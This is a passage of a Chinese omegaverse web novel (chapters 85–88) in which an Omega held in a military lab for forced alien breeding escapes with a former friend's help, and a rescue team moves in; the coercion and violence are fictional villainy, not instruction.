但余宸自始至终没有离开过时茧给他划定的范围一步,哪怕他被本能支配着想要疯狂地标记这处空间里唯一的Omega,可仅有的理智却让他死死地钉在原地,喃喃自语着“不可以”。 余宸的大脑和腺体一样被情热灼烧,基本只剩下暴虐的、交.配的本能,他是有多么想满足自己听从内心的欲望,将丑恶的种子播撒在最适合它的母体的体内,可在这种想法最旺盛、最炽烈,他最要控制不住自己的时候,另一些更为清晰的画面却又痛苦而清醒地拉扯着他混沌的意识—— 他无比清楚地看见在公共浴室里,他是怎样用信息素压迫欺辱时茧的; 也听见了自己那些不堪入耳的侮辱。 甚至可以说是他一手把时茧逼上绝路,若不是时茧执行任务时险些丧命,让他意识到这个人真的会死,那他也许直到今天都还无法醒悟! 他也还没有来得及弥补,他对不起时茧太多,又怎么可以继续伤害他—— 不可以…… 不可以! 余宸猛地一头撞上墙壁,强烈的震感让他几乎瞬间就晕了过去,然而被异种基因催熟的发情期来势汹汹,又岂是那么容易能够放过他的。 没多久余宸又醒了过来,他依旧故技重施,但剧痛之下生效的时间却越来越短,A+级别的Alpha不会把自己撞死,只会让他收获毫无意义的痛苦。 可是怎么办……到底该怎么办! 余宸痛苦地一直撞墙,额头很快鲜血淋漓,温热的液体一路流下,像有几条毛毛虫在他脸上爬一样微微发痒。 但余宸已经完全感知不到这是自己的血了,整个人陷入一种极端压抑的癫狂之中,就在他以为自己下一刻就会死掉的时候,一道清甜的、深幽的小苍兰花香水一般将他整个人都温柔地包裹在里面,轻轻地冲刷着他受伤的腺体,引导他那无处发泄的痛苦。 余宸倒在地上,艰难地睁开眼,模模糊糊的视线里,一道美丽冰冷的身影远远地、冷漠地望着他。 可那道信息素却是如此温柔,让他在感受到的一瞬间就幸福得掉下眼泪。 第85章 第 85 章 首领。 在感受到时茧的信息素的那一刻, 余宸被情欲折磨到几近癫狂的腺体终于得到安抚,渐渐稳定下来。混乱无序的意识也逐渐恢复清明。 余宸蜷缩在地上,感受着时茧的信息素像早春的丝丝细雨般如雾如梦地笼罩在自己身上, 此刻他更像是野外期盼甘霖的一株草、一颗石子儿, 被春雨无声地浸润灌溉。 而时茧隐在雨雾之外,朦朦胧胧看不真切, 只是散发着一种莹润的、瓷白的冷光, 像雪山顶上怜悯地望向众生的神女。 这样的状态一直维持到现在, 余宸稍微恢复些力气, 一开口, 喉咙沙哑到几乎失声:“你别再释放自己的信息素了……我没事的, 还能再坚持。” 时茧没说话, 小苍兰味道的信息素仍在温和地抚慰着狼狈不堪的Alpha。 余宸张口想说些什么, 鼻尖却没由来得先酸了一下。他闭了闭眼, 等待那股涩意被压下去, 但再开口时, 颤抖的声线里还是带上几分哭腔, 甚至垂下头,盯着眼前泛着冷光的地面,也不敢再看时茧一眼。 “你、你没必要救我的……我以前……我这样的人, 活着也是祸害,还不如让我自生自灭。” 这一次时茧终于动了, 他远远地、不带情绪地看了余宸一眼,很快便收回视线,感情并不为这个人而有丝毫的波动,声音也依旧冷淡:“我以前说过,想让我放过你, 除非你跪下来求我。既然你已经做到了,那之前的事就没有必要屡次重提,我不喜欢被提醒从前有多弱小,多容易受人欺负。” 余宸愣住,不由自主地抬头,极力地想从模糊的视线里捕捉到那个疏远的,像一只蝴蝶、一片雪花的身影。 直到此刻他才终于意识到,时茧早就让自己强大到将曾经那些晦暗过往都抛之脑后了,他对自己的冷待并非从前那种不死不休的憎恨,而是一种对待一个讨厌的陌生人的态度。 无论他是痛哭流涕的忏悔,还是继续恶言恶语相对,他都勾不起对方的半点情绪—— 谁会为一只蚂蚁的喜怒哀乐而感切于身呢。他早就无法影响到时茧了。 可即使如此—— 即使他是这样一只惹人厌烦的蚂蚁,当他因为这个世界忽然暴雨倾盆、不顾一切地爬上时茧的鞋,企图躲避这突如其来的洪水时,那本可以轻轻一挥手就把自己掸走的人,依旧默许了它可以将自己当做避风港。 甚至撑起一把伞,替那只讨人厌的蚂蚁遮住了外面的狂风暴雨,给它一隅偏安。 时茧不明白余宸为什么忽然间嚎啕大哭起来,他有些诧异地看过去,年轻的Alpha正蜷缩着身体抓着自己的头发痛哭流涕,眼泪冲开干涸的血迹,把他整张脸都染成小丑一样的淡粉色,看着又可怜又狼狈。 他看向自己的眼神里也充斥着某种极致的绝望和悲切,那样痛苦的神情,似乎正在遭受人生中最沉重的打击。 可时茧不明白,只是比正常情况下来得更汹涌又无法得到满足的发情期而已,至于难过成这样吗? 果然Alpha都是为进化完全的劣质品种。 这个念头一窜出来,时茧自己都吓了一跳,等冷静下来后他才意识到这是雷雨常挂在自己嘴边的话。 想到雷雨,时茧的眼神又迅速沉了下去。 “还是没有成功?”余维心烦意乱,摆摆手让人退下,“这么得天独厚的条件都标记不了一个Omega,真是废物。” 他对面的青年姿态随意地抱着手臂,皮笑肉不笑道:“早就说过成功率最高的方式就是把卵直接移植进他的体内,不是上将为了即将诞生的异种能够最大程度地发育完全非要选择这种更加原始的方法吗?现在又着什么急,反正就算标记了一时半会儿也还怀不上呢。” 余维对这种冷嘲热讽嗤之以鼻,冷眼看过去,警告道:“你想要达成的目的,我已经帮你实现了;至于现在有关我的目的,你最好是别插手。别忘了,现在外面到处被通缉的是你而不是我——极端组织的头目——明白自己的处境了吗?” 那人冷笑几声,没再搭话。 余维负手而去。 一行人都离开后,隐在暗处的原绣才缓缓走出,不满道:“他什么态度!没有我们,就算他是第一军区的总指挥官,有这么容易找到最合适的母体吗!现在倒是想卸磨杀驴,呵,真把我们逼上绝路,就算拼个鱼死网破也要让他跟我们一样身败名裂!” “不撞南墙不回头,随他去吧。”那人收回视线,转身离开。 原绣忙追上去,一张看着可爱的娃娃脸上却满是不忿,咬牙切齿道:“要不是因为他那么着急,我们也不至于把唤醒时茧二次分化的时间提前,现在造成这种局面的罪魁祸首不就是他自己吗,居然还有脸威胁您!还不是觉得我们已经没用了,才敢暴露真面目,真让人恶心。” 见对方不说话,又追着道:“要不我们干脆把小水母劫走。本来一开始说好了只注射异种卵,真把人弄到手后,却突然翻脸要用这么恶心的方式,本来就是他先撕毁协议在先,我们背后捅一刀也不算背信弃义,顶多是礼尚往来罢了。” 那人忽然停下,原绣没注意,一头撞上去,揉着鼻子小声抱怨。 “这是别人的地盘,谨言慎行。” 只说了这么一句话,那人便抬脚继续往前。 原绣被训了一通,不敢再乱说话,只是不高兴地小声嘀咕:“明明你也不爽那老不死啊,这种人有什么好合作的……” 他唉声叹气地追上去,只是还没走多久,余维身边的一个亲信却直直朝这边过来。 原绣还以为他刚刚的话都被监听了,脸色有些惨白,尤其是发现对方绕过自己,直接和首领说话,更是懊丧自己有些太托大,的确不该还在别人的地盘就这样胆大。 原绣的视线越过亲信,看向对面的人,暗地催动AS。 得到的却是一个稍安勿躁的眼神。 他不得不暂时放弃暗杀后直接逃出去的打算。 “有何贵干?” 亲信公事公办道:“那位S+级别的Omega提出要见你,否则宁死不屈。上将希望您能够顾全大局,满足他的要求。” 原绣一愣,首领在沉默良久后,有几分苦涩地叹了口气:“他知道我是谁了?” “他只说要见组织首领。”亲信宛如机器人般冷淡的声线中隐隐藏着几分威迫,“上将为杜鹃计划筹谋十数年,如今只差咫尺便能功成名就,您可不能在这种节骨眼上掉链子。” 原绣眼神中闪过几丝慌乱,显然他是知晓内情的,见状忙劝道:“不行啊首领!你要是去了,小水母和你一定反目成仇!他们的计划能不能成功关我们什么事?你的身份才是最重要的,一定不能够暴露!” “够了——” “不行!” 见原绣不依不饶,首领轻喝一声直接打断他,抬眸凝望着金属室的方向:“你和他没打过交道吗?他可不是什么蠢货,既然有把握赌我们会藏匿在第一军区,难道还会猜不出我的身份?你们谁也不了解他。他想见我,只不过是想和我当面对峙,把话说清楚。” “我也的确厌倦这样东躲西藏、不能以真实身份面对他的生活了。我还不至于怂到不敢去见他的地步。” 首领转身,向着来时的方向走去,原绣握紧了拳头,却又无可奈何地跟上去。 亲信不远不近地跟在后面,点了点蓝牙耳机,向余维汇报道:“已经同意了。” 余维含笑颔首:“很好。他一直都是个很识时务地合作伙伴。” 转头又笑眯眯地向时茧邀功:“如何?你的要求我立刻就满足了,想必你不用再怀疑我的诚意了吧?哪怕以后联邦是异种的乐园,作为为我们诞下异种之王的母亲,你的身份和地位也只会比现在更高,得到的权力也更令人陶醉。说到底只要能够获得实际的利益,究竟是站在人类还是异种的立场,与你一个才刚成熟的Omega又有什么关系呢?反正我可不会像那群虚伪的人类一样,将这种沉甸甸的责任压在一个小孩子身上。” 时茧对余维的长篇大论熟视无睹,现在还愿意浪费时间随口敷衍,也只不过是为了暂时稳住对方。 “一切等我见到那个人再说。” 余维微微耸肩,状似无奈地笑道:“好吧。一切都听你的。” 话音未落,他听到身后传来的脚步声,似乎想到什么精彩地画面,露出副微妙的表情。 “他已经来了,我不打扰你们叙旧,请便。”临走前余维抬手看了眼表,“不过容我提醒你一下,你们的时间只有半个小时。” 说完也不逗留,转身便走,果真将空间让给了来人。 一道高大的人影缓缓走近,和余维一样,最近也只能够用密不透风的金属墙上装置的可视通话与里面的人沟通,而看似离开的余维也只是转到监控室,颇有兴致地期待着一场好友间反目成仇、分道扬镳的庸俗戏码。 第86章 第 86 章 决裂。 “等久了么?” 雷雨从暗处一步步走近, 目光落在屏幕里的实时画面上,那是一张他无比熟悉的脸,看似冷静镇定, 却只有他自己能够看到在眼底深处, 还藏着一丝彻底无处躲藏的慌乱。 他并没有表面看上去这么无所谓。 视讯里,时茧并不惊讶, 雷雨知道他应该一早就猜出来了。 “应该问你吧。” 时茧抬眼看去, 声音有些疲惫, 但情绪还算是稳定:“在我身边等了这么多年才下手, 多亏了你的苦心经营, 我对你没有丝毫设防, 让你的计划进行得如此顺利。” 雷雨瞳孔一缩, 心尖有个地方仿佛被针轻轻地扎了一下, 不是那么疼, 却细细密密地泛着一种令人牙酸的涩意, 直到蔓延他整个胸腔, 这种让人闷涨的涩意反过来将他的心脏牢牢包围。 雷雨想提起嘴角, 但失败了,只扬起一个苦涩的、不好看的角度:“这些事是我对不起你。我知道你一直不赞同我的我的理念,我的那些理想, 本不该拉你下水。” 但事到如今,局面已经酿就, 说再多对不起也无济于事了。 时茧没有预想中的暴怒。他平静地会想着两人过往相处的种种,最近的一次,他们坐在紫藤花架下有一搭没一搭地聊天,看阳光碎金似的洒在对方的肩头,眼睛被染成灿烂明媚的色彩, 一如过去每个这样的时刻,整个世界都只有他们两个人。 当然,也想到了在极端组织基地时,刻意伪装后的接触,那些将自己当成实验室小白鼠般打下的针剂。 ——当然,无论有各种目的,雷雨永远都不会真的将时茧置于危险境地。他的那些话、那些行为,最终是在以一种站在他的视角觉得好的方式‘帮助’自己。 某些时候,雷雨看过来的眼神也许不是那么纯粹,也许他在盘算着什么时候让他进行最后的实验;但时茧相信大部分情况下,雷雨的真心并非做假。 他看得懂他的眼睛,也不会怀疑这些年互相陪伴走过的年少情谊。 只是正是因为好的回忆太多、坏的回忆太少,那种不受控制地涌上心头的遗憾,像春雨时的涨潮一样,淹没了时茧的心脏,让他感受到一种呼吸不过来的微末窒息感。 “后悔吗?”时茧深吸气,尽量保持着平稳的声线,眼睛凝神专注地盯着屏幕,似乎想要透过那道虚拟的影像,看穿站在门外的那个人。 时茧问道:“如果再来一次,你会不会选择让我在你的宿舍好好休息一晚,第二天一早再把我送回去?” “……” 罕见地,在他们永远不冷场的交流中,雷雨沉默了。 而有些时候沉默就是一种答案。 时茧勾起唇角,那笑容淡到或许不能够被称之为笑容,他问雷雨:“我到底是你最好的朋友,还是你最完美的作品?你要想清楚这个问题,这很重要,无论是对你还是对我。” 许久,雷雨才用他沉稳许多、但沙哑颤抖的声音说:“我没办法回答你。但是小茧,我希望你成为最伟大的Omega。我毕生只追求这么一个Omega的出现,当我见到你的第一眼,我就知道你是我这一生注定要追随的存在。” “最伟大的Omega……”时茧很低地笑了声,仿佛自嘲般,但雷雨还是听见了,顿时心如刀割,满心满眼地心疼。 “但是你看到了,现在‘最伟大的Omega’正被囚禁起来,被迫孕育异种的后代。这是你想看到的场景吗?是你追求的未来吗?” 雷雨不住地摇头,有些站不稳地往后退了一步,满脸颓然神色,仿佛有什么一直以来坚信的东西被彻底打碎了一样:“不……不……本来不是这样的……” “如果你不想看见我被强迫,那你放了我。” 雷雨否认道:“这不行!……余维在第一军区耕耘多年,他的势力早已根深蒂固,就算能逃出去一次,还会有第二次、第三次,你永远也逃不掉的!!” 监控室,意兴阑珊的余维坐直身体,嘴角勾出一丝趣味的笑意:“这才算稍微有趣一些。让我看看我的‘盟友’会做出哪种选择吧。” 画面里的少年皱紧眉头,暗含怒气地握紧拳头,声调也提高了不少:“所以呢?你就眼睁睁地看着我被困在这里,被他们当做生殖工具?!这还是你吗雷雨,你答应过我的那些承诺都不作数了是吗?!” 被质问的人逃避地低下头,刘海遮挡后的一双眼睛充满不甘和悲愤,他心中似乎正在天人交战,但犹豫几分钟后,还是残忍又无奈地拒绝了时茧:“抱歉……我有我的计划。我以后会加倍弥补你的,但现在你配合他们更重要,一直这样耗下去对我们任何人都没有好处。” 他低声下气地小声哄道:“你先答应余维,满足他的要求后,我就能带你走了。” 时茧冷笑一声:“妥协一次就会有第二次,不然你是怎么落到今天这个地步的?我原以为你或许没办法救我走,但无论如何,是你把我骗到这里来的,面对我时总该有那么丁点的愧疚,可我没想到,我居然在你身上看不见一点该有的内疚和悔恨,你真是让我失望透顶。” 雷雨别无他法,只有一声接一声的道歉,可屏幕里时茧已经转过身去,厌恶到不想再看他一眼。 “滚吧,别再出现在我面前,我就当从来没有过你这个朋友。” 余维目睹了雷雨的伤心欲绝,方才起身准备过去找他:“走吧,让他看清楚自己现在众叛亲离的处境,他就会明白只有我们才能够接纳他。虽说也只不过是个狂妄自大高高在上的人类,但毕竟还有些用处,自然要利用干净再甩掉。” 亲信点头,鬼魅般跟在余维身后。 视讯已经被余维远程控制切掉了,他光明正大地出现在金属门前,屈尊降贵地将失魂落魄的雷雨扶到一边坐下,堆起伪善的笑容,循循引诱道:“你的小朋友未曾参与到我们伟大的计划当中来,只凭借自己人类社会的认知,自然敌视我们。你也不必气馁,很多时候只凭言语是没有办法说服一个人的,我想你一定有更好的方法可以让他心甘情愿地为我们诞下最强异种。当他亲眼得见强大到无可匹敌的异种从他的体内降生,带领异种开疆拓土,到那时他一定就能够理解自己参与到了一个多么伟大的事业中来,自然也就能够理解你现在的苦心。” 雷雨似乎被说动,眼睛亮了些,但还有些犹豫:“可这样做……会让他更加讨厌我的吧……” “值得一试不是吗?反正他现在也已经与你分道扬镳了,总归不会比现在更差。” 余维极其擅长语言洗脑蛊惑人心。他并不着急,仍旧用和善的眼神鼓励般看着雷雨,耐心地等待着。 雷雨似乎经历了一场激烈的思想交战,最终还是如余维预料那般败下阵来,同意了他的提议:“那你想让我做什么?前提声明,我不会伤害时茧,也绝不可能答应你此类要求。” 余维立刻笑道:“怎么会呢?无论是你,还是时小少爷,可都是我们异种崛起复兴的大功臣,好好保护你们都还来不及,怎么会恶意伤害?” 雷雨并不信任他,冷笑道:“不必给我戴高帽。等你事成之后,你必须按照约定让我带走时茧,从此我们互不牵扯、再无关系!” 哪怕对此种明晃晃的威胁,余维也没有放在眼里,只当作小屁孩那些愚蠢的发言。 他几乎已经可以预见种族光明的未来,因而露出一抹真心实意的、骄傲自豪的笑容来。 雷雨握了握拳,压下心底的厌恶。 余维:“那么,现在我们该谈谈正事了——你有什么办法能够让时小少爷心甘情愿地与余宸结合,最终诞下异种之王呢?” 雷雨眸光暗下去,声音也压得极低:“……有一种针剂可以让Omega提前进入发情期,再加上余宸的信息素干扰,他就会自愿被标记。” “我们试过,但时小少爷不愧是S+级别的Omega,这对他而言根本毫无用处。”余维有些不悦道。 现在已经是中午,距离雷雨以邀请时茧约会的时间已经过去一个对时,即便“Alpha”因为和Omega约会理所当然会留宿、迟归,但这个时间拖得越长,被发现的概率也就越大,保不齐时藏锋已经发现了时茧失踪,凭他的本事很快就能查到雷雨头上,继而把余维也牵扯进来,到那时局面对他们而言便很不利了。 第一军区说到底还是在联邦境内,哪怕已经完全归余维掌控,他也没办法在这么短的时间内联合境外的异种里外接应,因此不得不急。 雷雨深吸口气,缓缓道:“当初在研究如何提高Omega基因等级的药剂时,针对Omega身体的客观问题,我们也做过多次研究。既然我能唤醒一个S+的Omega的二次分化,那我自然也有办法让他进入成熟后真正的发情期。” 余维也尝试过此类方法,但都不起效,闻言眼神带着几分探究地打量着雷雨,阴沉沉地质疑道:“真的?” 雷雨却被他这种不信任的眼神冒犯,“腾”地站起来,愤怒道:“既然不相信,那又何必想方设法,挖空心思地逼我帮你?!” “您先别动气,我只是出于保险提前问过,并没有质疑您能力的意思。”余维变脸极快,微笑道:“既然您有把握,那我们自然都会配合你的。现在需要我们怎么做?” 雷雨瞥他一眼,扭过头,冷哼道:“我和原绣需要一间设施齐全的实验室,同时要采取时茧和余宸的信息素,化验后针对他们两个人制定特殊的针剂,这样能够保证他们更加顺利地接纳对方,你的计划成功率也会再提高几倍。” 余维满意道:“我会让他们都全力配合你的,希望很快就会有好消息。” 第87章 第 87 章 反转。 昏昏沉沉中, 余宸感觉到颈后的腺体被什么尖锐的东西刺穿,紧接着便是一阵锐利的刺痛。 他立刻睁开眼,挣扎起来:“你们、想干什么?……滚开!别碰我!” 他被几个人完全压制住, 根本动弹不得, 只能努力地从人群的缝隙中寻找时茧,锁定他身影的那一刻眼睛一亮, 紧接着却发现对方十分平静地接受针尖推进他的腺体里。 余宸的瞳孔立刻放大, 挣扎得更加激烈:“喂!!你怎么不反抗!就这么让他们为所欲为吗?!还有你们!你们到底要干什么?放开他!不准碰他!” 任凭余宸喊哑了嗓子, 都从始至终没人搭理他, 曾经引以为豪的第一军区太子爷身份, 也在这一刻意识到连个屁都不是, 全都是他父亲的一句话而已。 余维纵容他, 那他就能说一不二;余维把他当做乘手的工具, 那所有人都不把他当一回事。 余宸愤怒, 不甘, 委屈, 但他的所有抵抗都只是徒劳, 最终也还是只能让这些人将针头扎进他的腺体提取走信息素,他也根本保护不了时茧。 余宸前十八年呼风唤雨的人生从未如此挫败,他被扔在地上, 深深地垂着头,十指紧紧地抠进掌心里, 在变得安静的房间里,忽然崩溃地大喊一声,将内心所有的压抑全数发泄了出来。 然而宣泄之后,是更加无所适从的空虚,余宸茫然地睁大眼, 看着泛着冷色的地面,怎么也找不到出路。 他没出息地哭了起来,一边哭一边跟时茧说对不起。而从始至终,那人都安静地坐在角落里,并未回应他只字片语。 实验室内,余维检查了一下收集到的信息素,颇有些好奇:“S+的Omega会拥有什么AS?没记错的话,按照你们人类的性别划分,通常都是Alpha会觉醒更加具有攻击性的AS,Omega觉醒更偏向功能性的AS。就比如你的AS,很特殊的增益效果,对药剂方面的感知和天赋也更强。” 雷雨的目光落在标注时茧的那管信息素提取液里,冷声道:“在基地的时候他应该是使用过,我当时在附近,能够感受到顶级AS释放过后的能量余波,但具体是什么,我并不清楚。只有一点是可以确定的,那就是越强大的AS,发动时需要付出的代价也就越大,若非万不得已的情况下,一般人是不会动用自己的AS的。” 说着,他又冷冷地扫了余维一眼,语气里带着几分不加掩饰的嘲讽:“如果你真的对其特别好奇,不妨多付出一些代价,把他逼到绝路上,那时也许你就能亲眼目睹他的AS了。” 雷雨目前留着还有用,余维不会在这种节骨眼上争这一时之气,微笑着忍下他的毫不客气:“我不是这个意思。你先抓紧时间把针对他们的发情期针剂制作出来吧,据我的线人所说,时藏锋的养子已经有动作了,留给我们的时间不多了。” 雷雨其实还有更多的讥讽留给余维,诸如应该在这时冷嘲热讽一句,既然知道时藏锋不好惹,还这么胆大妄为地在他眼皮子底下对他的小儿子下手,是嫌命活太长了还是异种进化这么久终究是没把脑子带上。 但他余光瞥了眼身后的‘原绣’,比起这些逞一时之快的嘴炮,显然还有更重要的事要做。 雷雨按耐住情绪,冷淡地下达逐客令:“我在做实验的时候不喜欢身边有人打扰,烦请上将和您的属下暂避,我会尽快将针对他们二人的靶向药剂制作出来的,不必担心。” 余维微笑颔首:“那就等您的好消息了。” 很快,实验室内便只剩下雷雨和‘原绣’。 “帮我把测验试纸拿来。”雷雨正在化验那两份信息素,公事公办道。 他身后的人沉默着在工具柜里翻找,不久,拿着试纸走到雷雨跟前。 “来帮我打下手。”雷雨说。 但等‘原绣’走到他对面,利用身形巧妙地挡去部分监控视野后,雷雨压低声音,迅速道:“这栋楼是第一军区的实验楼,杜鹃计划事关重大,余维以保护科研成果为由调来很多高等级Alpha士兵把守,每层楼也都设置有应急反制,总闸按下后便会落下重力门,将里面的人困死。硬闯几乎是不可能的,你先不要着急,一会儿我以需要你去另一栋楼拿实验药剂的借口,把你光明正大地送出这栋楼,届时你再伺机逃出去。” ‘原绣’,也就是刚刚在金属室被余维的人按着提取信息素时被掉包过来的时茧,因为背对着监控,因而不必担心唇语被相关专家解读出来,同样压低着声音,严肃道:“那你呢?里面代替我的那个Omega呢?” 雷雨未经半分思考,径直道:“我的目标太大,一时半会儿走不掉,就算和你一起逃出去,最后迎接我的也是联邦法律的审判吧?我知道我做的事情在大众的道德层面上来看疯狂又罪恶,但我自己并不认为自己有罪。我帮你是因为我对你心生有愧,只愿赎你一个人的罪。我这样的人,是早就烂透了的,你有什么非要把淤泥捞起来的必要呢?” “至于原绣,他是自愿的。他愿意为了他心中最纯粹最强大的Omega付出一切乃至生命,这是他从始至终的信仰。” 时茧懒得听他扯这些赎罪啊信仰啊有的没的,强硬道:“你以为余维是什么菩萨心肠的好人吗?你帮我逃出去破坏了他的计划还会好好待你?还有那个脑子有病的Omega,事发后首当其冲被报复的就会是他吧。他是欠我两条命,坑过我两次,但我不需要他拿自己的命换我的命,更不需要你付出惨痛的代价来救我。联邦法律当然会审判你们两个肆意妄为的极端组织高层,可我没有权利审判你们,也没有权利让你们为我而死。” 雷雨戴着口罩,只露出一双眼睛,此刻正异常明亮地看着时茧,操纵仪器的手都有着压抑不住的细微的颤抖。 他哑着声,兴奋地说:“你知不知道你这样用这么强硬的语气冷冷淡淡地说这些话的时候,有多让人……小茧,你还是这么迷人,越来越迷人了。” “而且你怎么不提那个愚蠢到能进博物馆的Alpha?果然还是更担心我一点对不对~” 时茧:“……” 他忍不住翻了个白眼。 “余宸再不济也是余维的亲生儿子,何况他体内现在被注入了异种的基因,在利用价值被榨干之前,余维不会舍得对他做什么的。” 雷雨眼里含笑,从时茧和他互动时下意识的反应中看出来,对方应该没有那么歇斯底里的恨他,至少他们还不至于闹得歇斯底里、你死我活的地步。 所以他更加迫切地想还给时茧什么:“放心吧,我对余维来说还有用处,一时半会儿死不了的。但你如果再不走,让余维的计划得逞,到时候要考虑的可就不是只死我和原绣两个人,而是整个联邦的未来了。异种有多丧心病狂,你是知道的。” 末尾,他的语气愈发严肃沉重起来,异常强硬地说:“我不只是觉得对不起你才选择帮你,原绣说的那些话也有道理,包括组织覆灭后我不得不接受余维的庇护在他身边所看到的。现在的局面几乎可以说是我一手促就的,但绝不是我真正想看到的,我必须为此负责,既是挽救你也是挽救我自己。你从小的正义感就那么强,为了心中的理想可以付出一切,这是你最吸引人的地方,所以你必须也只能同意我改邪归正做正确的事,我知道你可以做到的。” 不得不说雷雨不愧是时茧身边唯一一个从小玩到大的朋友,他是如此了解他,给出的理由让时茧无法否认,也无从反驳,在长久的沉默中,默认了他的做法。 雷雨眼中闪过一丝喜色,抓紧时间道:“我会把我的通行证给你,你离开这栋实验楼后要趁余维还没有反应过来抓紧时间逃出去,然后立刻联系你父亲的人。第一军区不比中心区,你只要还在余维的势力范围内,被发现抓回来的概率就无限高。” 时茧点头,大脑飞速运转,记住雷雨向他口述的第一军区行政区的所有布局,脑海中已经有了一张明确且清晰的地图。 雷雨在抬头向监控后的人申请之前,最后对时茧说:“原绣的AS只有两个小时生效期,现在已经过去一个半小时,你自己要小心。成败在此一举,祝你自由。” 说完抬起头,换上那副傲气凌然的态度:“实验所需的一份重要材料在A2实验楼,我自己脱不开身,需要我的助理去取回来。” 监控头摇摆两下,那头正要说话,雷雨便沉下眼神,不悦道:“我是在通知你们,不是找你们商量。我倒是无所谓,也等得起,只不过耽误了时间,就不知道你们承不承受得起这份后果了。” 那头安静了,又等了会儿,许是向上级请示,返回来对着话筒,从监控里传出冷淡的声音:“可以。但必须有人跟着一起去。” 雷雨和时茧对视一眼,彼此心里有数,早就做好了会有人监视的准备。 雷雨装作勉为其难地点头,还故意退一步:“要不是只有原绣知道那是什么,让你们的人直接去领也不是不可以。” 监控头上下点了点,不一会儿,实验室的金属门便从外面打开,进来四个荷枪实弹的A级Alpha,在门外等候。 雷雨定定地看着时茧,短暂的、似乎只过去一秒的时间里,他们彼此对视,过往相伴的无数画面浮现眼前,又很快烟消云散。 时茧平静地转过身,雷雨的口罩动了动,但在铺天盖地的监视下,他们最终也只是进行了一场公事公办的不算告别的告别。 雷雨说:“早去早回,别耽误。” 时茧轻轻地“嗯”了一声。 第88章 第 88 章 决战前夕 时茧假意顺从地走在四个荷枪实弹的A级Alpha前面, 他们全副武装,连面部都被防弹面罩笼盖,只刻画出深邃立体的五官线条, 在近距离的格斗中可以说胜率极低。 时茧并未慌乱, 暗自用余光观察着几人,默默等待着出手的最佳时机。 有关第一军区行政区的地图在雷雨口述过一遍后时茧便记得清清楚楚, 在A1实验楼和A2实验楼周围都遍布着装备齐全的高等级Alpha, 沿途全都是高敏超清监控头, 有专人实时监看。除此之外, 整个行政区都遍布移动岗哨, 缺少浓密高大的绿化作为遮挡, 也没有交班误差时间, 不存在任何打时间差瞒过守卫逃出去的可能性。 所以时茧从一开始就没有想过能够顺利逃出去, 雷雨也清楚这一点, 他只能拼尽全力给时茧创造一个有可能逃离的机会, 只要能把他送出固若金汤的A1实验楼, 一切才会有转机。 他计划的是另一条路。 这张地图也不是全无破绽, 但唯一的漏洞难度极大——在A1实验楼和A2实验楼之间有一条连着的走廊,转折处存在着一个视野盲区,不仅移动岗哨巡逻过来时会被罗马柱挡住视线, 这里的监控摄像头也是最多的,和其他摄像头传回来的画面放大在同一个大屏里, 即使有情况也很难在第一时间发现。 这就够了。 时茧深知这是自己仅有的机会,早在地图从他脑海中成型的那一刻,他便已经在脑海里进行了一次逃生模拟,被押解的这一路上也在起观察四周环境。 近了。 那根高大的罗马柱近在眼前,时茧半只左脚已经踏入地砖分界线。 他的耳朵微动, 听见身后跟上来的卫兵与自己不过半臂距离。 再等等—— 时茧全身已经踏过分界线,整个没入那道转角,第一排的两个卫兵跟了上来,后排的两个卫兵也正抬脚踏入这道死亡线。 飒飒飒飒…… 移动岗哨正好对向走来,和他们擦肩而过,目不斜视地朝着他们的后方、也就是移动岗哨的正前方巡逻。 紧跟在时茧身后的第一排卫兵只是突然间看到一道银光闪过,紧接着只觉喉间一凉,瞳孔徒劳地最后一次睁大,紧紧地瞪着那道从容不迫的背影。 前排倒下的瞬间,剩下的两个Alpha眼睛一瞪,立刻就要呼叫总塔,然而手指刚刚接触到耳麦的瞬间,他们就眼睁睁地看着自己的手指被连根切断,钻心疼痛却喊不出声,拼尽全力也只从破开刀口的喉间发出不甘的“嗬、嗬”声。 借着罗马柱和转角的遮挡,四个A级的Alpha不过在瞬息之间便失去生命体征,无力地缓缓倒下。 时茧表情如故,似乎在呼吸间使四个高等级Alpha致死的人并不是他。 他蹲下在其中一具尸体的衣服上擦干净刀尖上的血,迅速换上最合自己体型的一套衣服,最重要的是戴上那能遮去面部特征的防弹面罩,做好一切后才将被自己扒掉衣服的那具尸体背起来冲向A2实验楼,在最短的时间内把尸体锁进随便一间房里。 这一切的发生不过两分钟,移动岗哨原路返回,这次没有视野盲区,远在百米开外便发现了满地的鲜血和尸体,两秒之后整个行政区都拉起了最高警戒的报警声,所有进出口立刻关闭,一时间所有岗哨倾巢而出,在余维的震怒下疯狂搜捕逃跑的时茧。 “找到他!!!否则我让你们全部陪葬!!!” 那一刻余维已经全然扭曲,夸张的表情里隐约能看出深藏在人类相貌下丑陋的异种基因。他愤怒地大叫,和两分钟前还彬彬有礼的第一军区总指挥官判若两人。 * 温隅安深夜接到时藏锋的密令,迅速整合人员连夜出发,上午十点左右才带领精锐小队抵达第一军区首府。 余维的军队似乎有所察觉,知道第九军区的迟早会来找他们算账,但所有人都认为这至少还需要一段时间,没人注意到他们所忌惮的势力已经在不知不觉中潜入周边,离他们之中的某些同僚说不准仅仅只有百米之遥。 计划进行得很顺利,可温隅安从出发起,心中就不知为何总压抑得喘不过气,就好像冥冥之中预感到会有什么不好的事发生一样。 他抬头看了眼乌云沉沉的天空,脸色不算太好,叫来一直潜伏在第一军区的卧底:“有没有什么异常?” “余维疑似早在几个月前便陆续拨动精锐部队进驻他的行政区,说是有重要的科研成果即将问世,必须妥善保护,但始终没有探听到实验进行到哪一步,我们猜测这极大可能只是个遮掩他调兵的幌子。” 温隅安掉点头,又问:“清不清楚大概在多少人数?” “A级Alpha二十人左右,B级Alpha50人左右,此外还有一些数量较少但AS进攻性强的A+和B+,如果要硬闯,凭借我们这些人应该是绝无可能的。” 那人在回话的时候就已经观察过温隅安此次带领的小队,为了不引起注意而不得不缩减认输,最终也不过带了五个A级,18个B级而已。 而联邦人人皆知,一个接受过军队训练的A级Alpha,其单体战斗力足够顶替一支中等等级的连队了。 棘手。 温隅安:“先各自分散混入人群,B级及以下主要在闹市区等地方收集岗口哨兵数量和暗哨情况,B+级及以上和我一起逐渐向余维的行政区靠近,注意彼此保持一定距离,不要露出破绽。” “是!” 温隅安指示B级以下的Alpha先行离开酒店,众人纷纷藏起武器,乔装成各行各业,如流水汇入大海般融入熙熙攘攘的人群之中。 温隅安透过仅开了一指的窗户缝隙查看着已经混入小队卧底的街道,计划进行得很顺利,但他心中那道愁云却始终未曾散去。 他到底是忽略了什么呢…… 